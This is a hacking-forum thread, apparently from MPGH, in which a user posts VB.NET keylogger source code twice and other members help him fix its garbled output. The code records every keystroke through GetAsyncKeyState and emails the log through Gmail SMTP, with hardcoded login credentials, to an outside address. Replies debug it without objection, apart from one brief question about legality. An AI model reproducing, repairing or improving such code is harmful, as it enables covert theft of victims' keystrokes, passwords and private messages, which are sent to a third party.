MPGHThe Dark Arts
RegisterLog in

keylogger problem

Posts 1–15 of 23 · Page 1 of 2
keylogger problem
hello guys

I have made an keylogger + he send it to my mailbox.
But the problem is

LOLIK EKING LOL WEERabcdefgi`¡11234567890۽ݺÀܻ¿¾¼¡»¿¾¼â¡â¢¥â ¢¥»ÀܺÝ¢¥¢¥¢¥¢¥¢¥¢¥¢¥¢¥¢¥¢¥¢ ¥¢¥¢¥¢¥¢¥¢¥¢¥¢¥¢¥¢¥096321tt 

I received this in my mail box.
Who can fix it.

(sory for my english)
#1 ·
We would need to see the code
#2 ·
Quote Originally Posted by NextGen1 View Post
We would need to see the code
What he said ^^
#3 ·
isnt keyloggers like illegal
#4 ·
This is the code!

Code:
Imports System.Web
Imports System.IO
Imports System.Net.Mail

Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("universalprjct@gmail.com", "furryman")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("pr0grammer.cplus@gmail.com")
        mail.From = New MailAddress("username@gmail.com")
        mail.Subject = "Universal Keylogger"
        mail.Body = TextBox1.Text
        SmtpServer.Send(mail)
    End Sub
End Class
#5 ·
Symbols like are used to signify a backspace. In other words,
OOPPS= OOPS.

Search it up, but be aware that the symbol  is converted to %8 on google.
#6 ·
and if I press on the button Alt Gr and then on another key
#7 ·
I hope you realize you posted your gmail Credentials and changed them...... (always *********** it out)
#8 ·
lolz just seeing it xD
#9 ·
he may have an keystroke encrypter.
#10 ·
Quote Originally Posted by XGelite View Post
he may have an keystroke encrypter.
He Does , only explanation, code is fine, and its not "backspace" keystrokes
#12 ·
why would you want to make a keylogger. :P But, it's your life not mine.
#11 ·
That is an example xD
It is not working that gmail

keystroke encrypter?

Can somebody help me
#13 ·
We need to

A. See your Code

B. See a test run , Send a email to yourself using your software , KeyLog Yourself
and display the results here.

(this will let yourself, and us know if it is a Local problem (his comp) or a constant issue (anyones comp, or the majority of)

If it happens to yours, then we can safely say code issue, warrants further research, If not we can safely say XG is right and it is a keystroke encrypter (though not common, very possible)


After that we may have some more insight
#14 ·
This is the code what I used.
Code:
Imports System.Web
Imports System.IO
Imports System.Net.Mail

Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("universalprjct@gmail.com", "furryman")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("pr0grammer.cplus@gmail.com")
        mail.From = New MailAddress("username@gmail.com")
        mail.Subject = "Universal Keylogger"
        mail.Body = TextBox1.Text
        SmtpServer.Send(mail)
    End Sub
End Class
This the text what I have typed.
for logging.
hey
mpgh look this is what I fill in!
Goodbye an enjoy
,;:
And this is the mail
with the logtext
HEYMPGH LOOK THIS IS WHAT ¡I FILL IN8¡GOODBYE AN ENJOY¼¾¿t
#15 ·
Posts 1–15 of 23 · Page 1 of 2
This thread is closed for replies.

Similar Threads

General Game HackingWPE problem...styx23styx23 8 General GamingProblem Wit Hacking Programsf5awpf5awp 5 General Game HackingAttachable/Sendable Keyloggerswardo1926wardo1926 36 WarRock - International Hackshacking problemsiwillkillyouiwillkillyou 11 Gunz GeneralTo All GunZ Down 02-07-06 PROBLEMWEWertyRO 18

Tags for this Thread

None

Need help?